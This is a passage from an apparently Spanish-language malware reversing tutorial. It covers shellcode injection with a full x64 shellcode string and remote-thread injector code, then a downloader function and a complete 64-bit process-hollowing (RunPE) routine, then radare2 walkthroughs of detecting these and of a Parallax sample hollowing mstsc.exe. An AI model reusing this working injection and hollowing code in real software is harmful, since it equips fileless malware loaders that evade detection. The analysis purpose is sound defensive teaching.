"\x41\x5f\x41\x57\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x41\x57\xc3";
    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) 10168);
    int id = 0 ;

    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 100, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

Al analizarlo en radare2, lo siguiente debería hacer saltar la alerta:

Inyección de shellcode en procesos
FIG. 05 Inyección de shellcode en procesos
Un OpenProcess... bien, pero también una referencia a una posición extraña:

Inyección de shellcode en procesos
FIG. 06 Inyección de shellcode en procesos

Como vemos, el shellcode puede examinarse fácilmente en radare2/Cutter/Iaito.

Y si lo miramos de cerca, podemos detectar fácilmente una cadena siendo cargada usando registros y la pila:

Inyección de shellcode en procesos
FIG. 07 Inyección de shellcode en procesos

El proceso es similar desde el punto de vista del depurador:

ENSAMBLADOR / REFERENCIA
 0x0040156d      e8ee010000     call sym.__main
|           0x00401572      488d45d0       lea rax, [var_30h]
|           0x00401576      488d158b2a00.  lea rdx, str.A_AWH1         ; 0x404008 ; "A_AWH1\xffH\xf7\xe7eH\x8bX`H\x8b[\x18H\x8b[ H\x8b\x1bH\x8b\x1bH\x8b[ I\x89\u060b[<L\x01\xc3H1\xc9f\x81\xc1\xff\x88H\xc1\xe9\b\x8b\x14\vL\x01\xc2M1\xd2D\x8bR\x1cM\x01\xc2M1\xdbD\x8bZ M\x01\xc3M1\xe4D\x8bb$M\x01\xc4\xeb2[YH1\xc0H\x89\xe2QH\x8b\f$H1\xffA\x8b<\x83L\x01\xc7H\x89\xd6\xf3\xa6t\x05H\xff\xc0\xeb\xe6YfA\x8b\x04DA\x8b\x04\x82L\x01\xc0S\xc3H1\u0240\xc1\aH\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9cH\xf7\xd0H\xc1\xe8\bPQ\xe8\xb0\xff\xff\xffI\x89\xc6H1\xc9H\xf7\xe1PH\xb8\x9c\x9e\x93\x9c\u045a\x87\x9aH\xf7\xd0PH\x89\xe1H\xff\xc2H\x83\xec A\xff\xd6AW\xc3"
|           0x0040157d      b9d5000000     mov ecx, 0xd5               ; 213
|           0x00401582      4989c8         mov r8, rcx
|           0x00401585      4889c1         mov rcx, rax

También podemos inspeccionar el shellcode:

ENSAMBLADOR / REFERENCIA
[0x00401550]> pd @ str.A_AWH1
            ;-- str.A_AWH1:
            ; DATA XREF from dbg.main @ 0x401576
            0x00404008     .string "A_AWH1" ; len=7
            0x0040400f      48f7e7         mul rdi
            0x00404012      65488b5860     mov rbx, qword gs:[rax + 0x60]
            0x00404017      488b5b18       mov rbx, qword [rbx + 0x18]
            0x0040401b      488b5b20       mov rbx, qword [rbx + 0x20]
            0x0040401f      488b1b         mov rbx, qword [rbx]
            0x00404022      488b1b         mov rbx, qword [rbx]
            0x00404025      488b5b20       mov rbx, qword [rbx + 0x20]
            0x00404029  ~   4989d8         mov r8, rbx
            ;-- str.__L:
            0x0040402b     .string "\xd8\x8b[<L" ; len=6
            0x00404031      c3             ret
            0x00404032      4831c9         xor rcx, rcx

Y podemos pasar a depurar el proceso anfitrión; apunta la dirección tras el VirtualAllocEx y pon breakpoints en ella para continuar la ejecución:

CÓDIGO / SALIDA
(5668) Created thread 6048 (start @ 00007FFE1F4DC940) (teb @ 000000A37A525000)
(5668) Created thread 5432 (start @ 000001A566040000) (teb @ 000000A37A527000)
hit breakpoint at: 0x1a566040000
[0x1a566040000]> pd 10
            ;-- rax:
            ;-- rdx:
            ;-- r9:
            ;-- rip:
            0x1a566040000 b    005f41         add byte [rdi + 0x41], bl
            0x1a566040003      57             push rdi
wa nop

Veremos cómo se escribe el shellcode y la ejecución comienza allí:

CÓDIGO / SALIDA
[0x1a566040001]> ds
[0x1a566040001]> pd 10
            0x1a566040001      5f             pop rdi
            ;-- rip:
            0x1a566040002      4157           push r15

Y tras algunos pasos, veremos cómo se resuelve KERNEL32:

ENSAMBLADOR / REFERENCIA
            0x1a56604001d      488b5b20       mov rbx, qword [rbx + 0x20]
            ;-- rip:
            0x1a566040021 b    4989d8         mov r8, rbx
            0x1a566040024      8b5b3c         mov ebx, dword [rbx + 0x3c]

Examinando la memoria tras la llamada pertinente, veremos la dirección base en rax:

CÓDIGO / SALIDA
[0x1a566040001]> dr rbx
0x7ffe1e450000
dm
0x00007ffe1e450000 - 0x00007ffe1e451000 - usr     4K s r-- IMAGE    KERNEL32.DLL ? ; rbx
0x00007ffe1e451000 - 0x00007ffe1e4d0000 - usr   508K s r-x IMAGE    KERNEL32.DLL | .text ? ; map.IMAGE____KERNEL32.DLL__.text.r_x
[0x1a566040001]> pxw @ 0x7ffe1e450000
0x7ffe1e450000  0x00905a4d 0x00000003 0x00000004 0x0000ffff  MZ..............
0x7ffe1e450010  0x000000b8 0x00000000 0x00000040 0x00000000  ........@.......
0x7ffe1e450020  0x00000000 0x00000000 0x00000000 0x00000000  ................

Y después, veremos la cadena siendo decodificada y colocada en la pila:

CÓDIGO / SALIDA
            0x1a566040094      48b80fa89691.  movabs rax, 0x9c9a87ba9196a80f
            0x1a56604009e      48f7d0         not rax
            0x1a5660400a1      48c1e808       shr rax, 8
            0x1a5660400a5      50             push rax
[0x1a566040001]> dc
hit breakpoint at: 0x1a5660400a6
[0x1a5660400a6]>
[0x1a5660400a6]> pxw @ rsp
0xa37a77fb40  0x456e6957 0x00636578 0x00000000 0x00000000  WinExec.........
0xa37a77fb50  0x00000000 0x00000000 0x00000000 0x00000000  ................

Process Hollowing

El process hollowing sigue una filosofía similar a lo visto anteriormente. En lugar de mapear un ejecutable en un proceso remoto que ya está EN EJECUCIÓN, el atacante CREA un proceso en estado suspendido, elimina su contenido, escribe el contenido malicioso, establece el punto de entrada en el del código malicioso y reanuda la ejecución desde allí. Básicamente crea un proceso, lo "vacía" y sustituye su contenido por el del malware, forzando de nuevo a un proceso legítimo a ejecutar código malicioso. Es habitual ver malware que abusa de procesos como svchost.exe, explorer.exe y similares.

Obtener bytes de un fichero desde una URL

Una de las estrategias que usa el malware común al implementar process hollowing o técnicas similares más elaboradas es dejar una primera etapa del malware en el sistema como un programa más sencillo que descargará el malware real desde alguna URL, lo cargará en memoria (RAM) e implementará process hollowing, escribiendo y ejecutando el malware descargado directamente en un proceso legítimo sin que el código malicioso toque el disco.

El código completo del siguiente ejemplo se encuentra aquí

Esto puede probarse en local usando Python para implementar un servidor web sencillo:

TERMINAL
python3 -m http.server 8080

Un ejemplo de función que obtiene esos bytes del PE desde una URL puede encontrarse aquí:

CÓDIGO / SALIDA
LVOID GetFileContentFromUrl(const LPSTR fileUrl)
{
    //Download from http://127.0.0.1:8080/msgbox.exe
    HINTERNET hInternetSession;
    HINTERNET hURL;
    int fSize = 0;

    DWORD dwBytesRead=0;
    DWORD lpOutBuffer=0;
    DWORD dwSize=sizeof(lpOutBuffer);
    //char *PE_buffer;
    LPVOID PE_buffer;
    // Make internet connection.
    hInternetSession = InternetOpenA(
        "Mozilla 1.2.3", // agent
        INTERNET_OPEN_TYPE_PRECONFIG,  // access
        NULL, NULL, 0);                // defaults

    // Make connection to desired page.
    hURL = InternetOpenUrl(
        hInternetSession,                       // session handle
        fileUrl,                                // URL to access
        NULL, 0, 0, 0);                         // defaults

    // If connection to the file is successfully opened we go check for the file size
    if(hURL>0){
        fSize = (int)HttpQueryInfoA(hURL,HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &lpOutBuffer,&dwSize,NULL);
        printf("[+] File size: %d \n",  lpOutBuffer);
        //PE_buffer = (char *) malloc(lpOutBuffer+1);
        PE_buffer = VirtualAlloc(NULL, lpOutBuffer,  MEM_COMMIT, PAGE_READWRITE);
        if(PE_buffer==nullptr){
            printf("[-] Error allocating buffer for remote file: %d \n", GetLastError());
            exit(1);
        }
        else{
            if(InternetReadFile(hURL, PE_buffer, lpOutBuffer, &dwBytesRead)){
                printf("[+] Number of bytes read: %d \n",dwBytesRead);
                return PE_buffer;
            }
            else{
                printf("[-] Error downloading the file content. Error: %d \n", GetLastError());
                exit(1);
            }
        }
    }
    else{
        printf("[-] Error opening the url: %s Error code: %d \n", fileUrl, GetLastError());
    }
    // Close down connections.
    InternetCloseHandle(hURL);
    InternetCloseHandle(hInternetSession);

    return nullptr;
}

RUNPE 64 con relocaciones

Volviendo al ejemplo, el siguiente código implementa process hollowing con relocaciones, utilizando un PE legítimo y un PE obtenido ya sea de un servidor web, un archivo en disco o cualquier otro medio.

El proceso es sencillo y muy similar al de la inyección de PE. Primero cargamos y vaciamos el proceso remoto desmapeando la memoria ejecutable de su espacio de memoria (no es estrictamente necesario), luego parseamos el buffer que contiene el PE malicioso como hemos visto, nos aseguramos de tener un bloque de memoria en el proceso remoto, escribimos las cabeceras PE y mapeamos el ejecutable sección a sección usando sus direcciones y tamaños virtuales. Después aplicamos las relocaciones necesarias usando la sección .reloc. A continuación ajustamos el contexto del proceso remoto suspendido para que arranque en nuestro punto de entrada. Hecho eso, estamos listos para reanudar su ejecución.

Ten en cuenta que en un proceso de 32 bits, al iniciarse, el registro ebx apunta al TIB y eax apunta al punto de entrada. En un proceso de 64 bits, rdx apunta al TIB y rcx apunta al punto de entrada. Así que no copies y pegues un PoC de process hollowing para x32 e intentes usarlo en x64: no funcionará.

CÓDIGO / SALIDA
BOOL RunPEReloc64(const LPPROCESS_INFORMATION lpPI, const LPVOID lpImage, const LPVOID remoteBase)
{
    LPVOID lpAllocAddress;
    DWORD umResult;

    const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
    const auto lpImageNTHeader64 = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);

    umResult = UnmapSectionView(lpPI->hProcess, (LPVOID)remoteBase);

    lpAllocAddress = VirtualAllocEx(lpPI->hProcess, (LPVOID)remoteBase, lpImageNTHeader64->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpAllocAddress == nullptr)
    {
        printf("[-] An error has occurred when trying to allocate memory for the new image. Error: %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] Memory allocate at : 0x%p\n", (LPVOID)(uintptr_t)lpAllocAddress);

    const DWORD64 DeltaImageBase = (DWORD64)lpAllocAddress - lpImageNTHeader64->OptionalHeader.ImageBase;

    lpImageNTHeader64->OptionalHeader.ImageBase = (DWORD64)lpAllocAddress;
    const BOOL bWriteHeaders = WriteProcessMemory(lpPI->hProcess, lpAllocAddress, lpImage, lpImageNTHeader64->OptionalHeader.SizeOfHeaders, nullptr);
    if (!bWriteHeaders)
    {
        printf("[-] An error has occurred when trying to write the headers of the new image. Error: %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] Headers write at : 0x%p\n", lpAllocAddress);

    const IMAGE_DATA_DIRECTORY ImageDataReloc = GetRelocAddress64(lpImage);
    PIMAGE_SECTION_HEADER lpImageRelocSection = nullptr;

    for (int i = 0; i < lpImageNTHeader64->FileHeader.NumberOfSections; i++)
    {
        const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)lpImageNTHeader64 + 4 + sizeof(IMAGE_FILE_HEADER) + lpImageNTHeader64->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
        if (ImageDataReloc.VirtualAddress >= lpImageSectionHeader->VirtualAddress && ImageDataReloc.VirtualAddress < (lpImageSectionHeader->VirtualAddress + lpImageSectionHeader->Misc.VirtualSize))
            lpImageRelocSection = lpImageSectionHeader;


        const BOOL bWriteSection = WriteProcessMemory(lpPI->hProcess, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress), (LPVOID)((UINT64)lpImage + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
        if (!bWriteSection)
        {
            printf("[-] An error has occurred when trying to write the section : %s. Error %d \n", (LPSTR)lpImageSectionHeader->Name, GetLastError());
            return FALSE;
        }

        printf("[+] Section %s write at : 0x%p.\n", (LPSTR)lpImageSectionHeader->Name, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress));
    }

    if (lpImageRelocSection == nullptr)
    {
        printf("[-] An error has occurred when trying to get the relocation section of the source image. Error %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] Relocation section : %s\n", (char*)lpImageRelocSection->Name);

    DWORD RelocOffset = 0;

    while (RelocOffset < ImageDataReloc.Size)
    {
        const auto lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
        RelocOffset += sizeof(IMAGE_BASE_RELOCATION);
        const DWORD NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_ENTRY);
        for (DWORD i = 0; i < NumberOfEntries; i++)
        {
            const auto lpImageRelocationEntry = (PIMAGE_RELOCATION_ENTRY)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
            RelocOffset += sizeof(IMAGE_RELOCATION_ENTRY);

            if (lpImageRelocationEntry->Type == 0)
                continue;

            const DWORD64 AddressLocation = (DWORD64)lpAllocAddress + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset;
            DWORD64 PatchedAddress = 0;

            ReadProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);

            PatchedAddress += DeltaImageBase;

            WriteProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);

        }
    }

    printf("[+] Relocations done.\n");

    CONTEXT CTX = {};
    CTX.ContextFlags = CONTEXT_FULL;

    const BOOL bGetContext = GetThreadContext(lpPI->hThread, &CTX);
    if (!bGetContext)
    {
        printf("[-] An error has occurred when trying to get the thread context. Error: %d \n", GetLastError());
        return FALSE;
    }

    const BOOL bWritePEB = WriteProcessMemory(lpPI->hProcess, (LPVOID)(CTX.Rdx + 0x10), &lpImageNTHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), nullptr);
    if (!bWritePEB)
    {
        printf("[-] An error has occurred when trying to write the image base in the PEB. Error: %d \n", GetLastError());
        return FALSE;
    }

    CTX.Rcx = (DWORD64)lpAllocAddress + lpImageNTHeader64->OptionalHeader.AddressOfEntryPoint;

    const BOOL bSetContext = SetThreadContext(lpPI->hThread, &CTX);
    if (!bSetContext)
    {
        printf("[-] An error has occurred when trying to set the thread context. Error: %d \n", GetLastError());
        return FALSE;
    }

    ResumeThread(lpPI->hThread);

    return TRUE;
}

El código relacionado con el desmapeo de memoria se encuentra aquí:

CÓDIGO / SALIDA
BOOL UnmapSectionView(const HANDLE hProcess, const LPVOID base)
{
    DWORD dwResult = NULL;
    if(!pZwUnmapViewOfSection){
        HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll");
        pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
    }

    dwResult = pZwUnmapViewOfSection(hProcess, (LPVOID)base);

    return dwResult;
}

Estáticamente, empezamos detectando un VirtualAllocEx

RUNPE 64 con relocaciones
FIG. 08 RUNPE 64 con relocaciones
Después un Write memory...
RUNPE 64 con relocaciones
FIG. 09 RUNPE 64 con relocaciones

También podemos detectar la escritura de las cabeceras y las secciones:

RUNPE 64 con relocaciones
FIG. 10 RUNPE 64 con relocaciones
El bucle a través de la tabla de relocaciones:
RUNPE 64 con relocaciones
FIG. 11 RUNPE 64 con relocaciones

Y el set thread context, muy importante aquí:

RUNPE 64 con relocaciones
FIG. 12 RUNPE 64 con relocaciones

Inyección de procesos en Parallax

Veamos ahora cómo se ve en un malware real. Trabajaremos con esta muestra de Parallax

Imagina la siguiente situación: trabajas en inteligencia de amenazas / reversing de malware y el equipo de forense te envía una muestra. También han realizado un examen inicial que indica cierta correlación con el malware Parallax. Tu objetivo es extraer el payload del malware y alguna configuración de C2.

Tras algo de radare2 y algo de búsqueda, llegas al siguiente artículo de vk_intel

Te llama la atención el siguiente flujo de trabajo:

parall
FIG. 13 parall

Y observas que el malware puede implementar técnicas de ofuscación y anti-análisis.

Desde este punto, podemos cargar el malware en radare2 o en otra herramienta para análisis estático; veremos fuerte ofuscación. Por ello, podemos optar por un análisis dinámico e intentar seguir el flujo de trabajo y extraer algo:

Ejecutamos hasta el punto de entrada y empezamos a poner breakpoints en llamadas relacionadas con asignación y gestión de memoria, así como gestión de procesos:

CÓDIGO / SALIDA
[0x772b1ba3]> dcu entry0
Continue until 0x00401584 using 1 bpsize
(1736) loading library at 0x76210000 (C:\Windows\SysWOW64\imm32.dll) imm32.dll
(1736) Created thread 2456 (start @ 77235900) (teb @ 003FC000)
hit breakpoint at: 0x401584
[0x00401584]> dmi KERNEL32 CreateProcessW
[Symbols]

nth paddr      vaddr      bind   type size lib                                       name
-----------------------------------------------------------------------------------------
235 0x000098e0 0x752f88e0 GLOBAL FUNC 0    KERNEL32.dll                              CreateProcessW
8   0x00067510 0x75361510 NONE   FUNC 0    api-ms-win-core-processthreads-l1-1-0.dll imp.CreateProcessW
[0x00401584]> dmi ntdll RtlDecompressBuffer
[Symbols]

nth paddr      vaddr      bind   type size lib       name
---------------------------------------------------------
894 0x000d9b20 0x772da720 GLOBAL FUNC 0    ntdll.dll RtlDecompressBuffer
[0x00401584]>
[0x00401584]> dmi ntdll NtWriteVirtualMemory
[Symbols]

nth paddr      vaddr      bind   type size lib       name
---------------------------------------------------------
697 0x00072170 0x77272d70 GLOBAL FUNC 0    ntdll.dll NtWriteVirtualMemory
[0x00401584]> db 0x772da720
[0x00401584]> db 0x752f88e0
[0x00401584]> db 0x77272d70
[0x00401584]>

Como este malware se toma la ofuscación en serio, parece que evita las llamadas estándar de la API de kernel32 y recurre a llamadas no documentadas de ntdll

Alcanzamos el primer breakpoint, relacionado con CreateProcess. Vemos que se lanza mstsc.exe en estado suspendido. En este punto es muy importante anotar el handle del proceso.

ENSAMBLADOR / REFERENCIA
hit breakpoint at: 0x752f88e0
[0x752f88e0]> pxr @ esp
0x0019f120 0x00714059  Y@q. @ esp PRIVATE  ascii ('Y') R W X 'mov dword [ebp - 0x90], eax' 'PRIVATE '
0x0019f124 0x0019f150  P... PRIVATE  edx R W 0x3a0043
0x0019f128 ..[ null bytes ]..   00000000
0x0019f138 0x08000004  ....
0x0019f13c ..[ null bytes ]..   00000000
0x0019f144 0x0019f5b0  .... PRIVATE  ecx R W 0x0
0x0019f148 0x0019faa0  .... PRIVATE  eax R W 0x0
0x0019f14c 0x00508508  ..P. IMAGE  .data esi R W 0x0
0x0019f150 0x003a0043  C.:. @ edx PRIVATE  ascii ('C')
0x0019f154 0x0057005c  \.W. PRIVATE  ascii ('\') R W 0x0
0x0019f158 0x006e0069  i.n. PRIVATE  ascii ('i')
0x0019f15c 0x006f0064  d.o. PRIVATE  ascii ('d')

[0x752f88e0]> pxw @ 0x0019f150
0x0019f150  0x003a0043 0x0057005c 0x006e0069 0x006f0064  C.:.\.W.i.n.d.o.
0x0019f160  0x00730077 0x0073005c 0x00730079 0x00650074  w.s.\.s.y.s.t.e.
0x0019f170  0x0033006d 0x005c0032 0x0073006d 0x00730074  m.3.2.\.m.s.t.s.
0x0019f180  0x002e0063 0x00780065 0x00000065 0x00000000  c...e.x.e.......

Y efectivamente vemos que el programa crea un subproceso:

CÓDIGO / SALIDA
Selected: 1736 2116
 * 1736 ppid:2564 uid:-1 s C:\Users\lab\Desktop\radare2-5.7.6-w32\bin\para.exe
 - 684 ppid:1736 uid:-1 s C:\Windows\SysWOW64\mstsc.exe
[0x77272d70]>

Después alcanzamos NtWriteVirtualMemory, que parece escribir algunos datos en el proceso remoto

ENSAMBLADOR / REFERENCIA
[0x752f88e0]> dc
hit breakpoint at: 0x77272d70
[0x77272d70]> pxr @ esp
0x0019e3ec 0x751bf6df  ...u @ esp IMAGE  R X 'mov dword [ebp - 0x838], eax' 'IMAGE '
0x0019e3f0 0x0000031c  .... 796
0x0019e3f4 0x004fd1e8  ..O. IMAGE  .text sub.OLEAUT32.DLL_SafeArrayGetLBound,eax sub.OLEAUT32.DLL_SafeArrayGetLBound R X 'jmp dword [0x515ec0]' 'IMAGE '
0x0019e3f8 0x0019e638  8... PRIVATE  R W 0x650000
0x0019e3fc 0x00000004  .... 4
0x0019e400 ..[ null bytes ]..   00000000
0x0019e404 0x4fe7958f  ...O

Pero nada interesante, solo unos pocos bytes. Alcanzamos esa llamada tres veces más con el mismo resultado, y luego llegamos a RtlDecompressBuffer

ENSAMBLADOR / REFERENCIA
hit breakpoint at: 0x772da720
[0x772da720]> pxr @ esp
0x0019f130 0x00714283  .Bq. @ esp PRIVATE  R W X 'mov eax, dword [ebp - 0xd8]' 'PRIVATE '
0x0019f134 0x00000002  .... 2
0x0019f138 0x0078f270  p.x. PRIVATE  edx R W 0x0
0x0019f13c 0x00014e94  .N.. MAPPED  ecx R W 0x0
0x0019f140 0x00714f0b  .Oq. PRIVATE  eax R W X 'add edi, dword [ebx - 0xe74aa00]' 'PRIVATE '
0x0019f144 0x000053a5  .S.. 21413
0x0019f148 0x0019fa60  `... PRIVATE  R W 0x53a5
0x0019f14c 0x00508508  ..P. IMAGE  .data esi R W 0x0
0x0019f150 0x003a0043  C.:. PRIVATE  ascii ('C')

Vemos un buffer vacío y algo que parece un PE comprimido:

CÓDIGO / SALIDA
[0x772da720]> pxw @ 0x0078f270
0x0078f270  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f280  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f290  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2a0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2b0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2c0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2d0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2e0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f2f0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f300  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f310  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f320  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f330  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f340  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f350  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x0078f360  0x00000000 0x00000000 0x00000000 0x00000000  ................
[0x772da720]> pxw @ 0x00714f0b
0x00714f0b  0x5600bb03 0x48e8f18b 0x00000003 0x00800068  ...V...H....h...
0x00714f1b  0x56006a00 0xf5ddba00 0xc88bcd53 0x00d400e8  .j.V....S.......
0x00714f2b  0xd0ff0000 0x5500c35e 0x5756ec8b 0x088bf28b  ....^..U..VW....
0x00714f3b  0x0022e8f9 0x03d0ba94 0x00090a5c 0x7400b674  ..".....\...t..t
0x00714f4b  0x75ff006a 0x75ff0c00 0xff575608 0x5e5f60d0  j..u...u.VW..`_^
0x00714f5b  0x02ccc35d 0xf89e0100 0x52000242 0xb09315f4  ].......B..R....
0x00714f6b  0x5d8c5200 0x01565200 0x023c0390 0x3e01d83e  .R.].RV...<.>..>
0x00714f7b  0xfb41e865 0x6c3e00a7 0x21074902 0xb2426f07  e.A...>l.I.!.oB.
0x00714f8b  0x5c782501 0x2500553b 0x2502c546 0x00a20068  .%x\;U.%F..%h...
0x00714f9b  0x7801036a 0x01457506 0x2901884f 0x01ce0d4a  j..x.uE.O..)J...
0x00714fab  0x01e11c99 0x00680422 0x00760030 0x43780728  ....".h.0.v.(.xC
0x00714fbb  0x5f000004 0x530cec83 0x00f96300 0xb8fc5589  ..._...S.c...U..
0x00714fcb  0x00005a4d 0x07396600 0x478b5475 0xc703003c  MZ...f9.uT.G<...
0x00714fdb  0x45503881 0x75200000 0x014cb947 0x04480b01  .8PE.. uG.L...H.
0x00714feb  0x8b3c7500 0x4d897848 0xc98500f4 0x78833274  .u<.Hx.M....t2.x
0x00714ffb  0x76000074 0x74cf032c 0x00418b28 0x8bf63320  t..v,..t(.A. 3..
[0x772da720]>

Tras la llamada, podemos inspeccionar el buffer descomprimido en esa posición de memoria:

ENSAMBLADOR / REFERENCIA
[0x772da720]> dcr
hit breakpoint at: 0x772da762
hit breakpoint at: 0x772da764
[0x772da76d]> pxw @ 0x0078f270
0x0078f270  0xe8f18b56 0x00000348 0x00800068 0x56006a00  V...H...h....j.V
0x0078f280  0x53f5ddba 0xe8c88bcd 0x000000d4 0xc35ed0ff  ...S..........^.
0x0078f290  0x56ec8b55 0x8bf28b57 0x0322e8f9 0xd0ba0000  U..VW.....".....
0x0078f2a0  0x8b095c03 0x00b6e8c8 0x006a0000 0xff0c75ff  .\........j..u..
0x0078f2b0  0x57560875 0x5e5fd0ff 0xccccc35d 0xcccccccc  u.VW.._^].......
0x0078f2c0  0xe8f18b56 0x000002f8 0x9315f4ba 0xe8c88bb0  V...............
0x0078f2d0  0x0000008c 0x5ed0ff56 0xccccccc3 0xcccccccc  ....V..^........
0x0078f2e0  0xe8f18b56 0x000002d8 0xfb4165ba 0xe8c88ba7  V........eA.....
0x0078f2f0  0x0000006c 0xff56006a 0xccc35ed0 0xcccccccc  l...j.V..^......
0x0078f300  0x56ec8b55 0x8bf28b57 0x02b2e8f9 0x78ba0000  U..VW..........x
0x0078f310  0x8b553b5c 0x0046e8c8 0x006a0000 0x00008068  \;U...F...j.h...
0x0078f320  0x6a036a00 0x0875ff00 0xd0ff5756 0xc35d5e5f  .j.j..u.VW.._^].
0x0078f330  0xe8f18b56 0x00000288 0xce0d4aba 0xe8c88b09  V........J......
0x0078f340  0x0000001c 0x0068046a 0x56000030 0xd0ff006a  ....j.h.0..Vj...
0x0078f350  0xccccc35e 0xcccccccc 0xcccccccc 0xcccccccc  ^...............
0x0078f360  0x83ec8b55 0x56530cec 0x89f98b57 0x4db8fc55  U.....SVW...U..M
[0x772da76d]> pd 80 @ 0x0078f270
            0x0078f270      56             push esi
            0x0078f271      8bf1           mov esi, ecx
            0x0078f273      e848030000     call 0x78f5c0
            0x0078f278      6800800000     push 0x8000
            0x0078f27d      6a00           push 0
            0x0078f27f      56             push esi
            0x0078f280      baddf553cd     mov edx, 0xcd53f5dd
            0x0078f285      8bc8           mov ecx, eax
            0x0078f287      e8d4000000     call 0x78f360
            0x0078f28c      ffd0           call eax
            0x0078f28e      5e             pop esi
            0x0078f28f      c3             ret

Y corresponde a código ejecutable, así que puede que hayamos identificado un payload.

Tras regresar de esa llamada, veremos que no se llama a más NtWriteVirtualMemory ni NtResumeThread, aunque vemos mensajes de depuración y observamos que se crea un hilo en el proceso mstsc y la carga se completa...

Así que vamos a comprobar qué ocurre tras regresar de RtlDecompressBuffer.

Veremos varias llamadas como esta:

ENSAMBLADOR / REFERENCIA
dcr
ds
ds
[0x00714283]> pd 80
            ;-- eip:
            0x00714283      8b8528ffffff   mov eax, dword [ebp - 0xd8]
            0x00714289      898568ffffff   mov dword [ebp - 0x98], eax
            0x0071428f      c745a8000000.  mov dword [ebp - 0x58], 0
            0x00714296      c745ac000000.  mov dword [ebp - 0x54], 0
            0x0071429d      c78558fcffff.  mov dword [ebp - 0x3a8], 0
            0x007142a7      8b8d40feffff   mov ecx, dword [ebp - 0x1c0]
            0x007142ad      51             push ecx
            0x007142ae      e86df0ffff     call 0x713320
            0x007142b3      83c404         add esp, 4
            0x007142b6      89853cfeffff   mov dword [ebp - 0x1c4], eax
            0x007142bc      8b953cfeffff   mov edx, dword [ebp - 0x1c4]
            0x007142c2      8b4580         mov eax, dword [ebp - 0x80]
            0x007142c5      8d8c504e1000.  lea ecx, [eax + edx*2 + 0x104e]
            0x007142cc      33d2           xor edx, edx
            0x007142ce      898dc4fdffff   mov dword [ebp - 0x23c], ecx
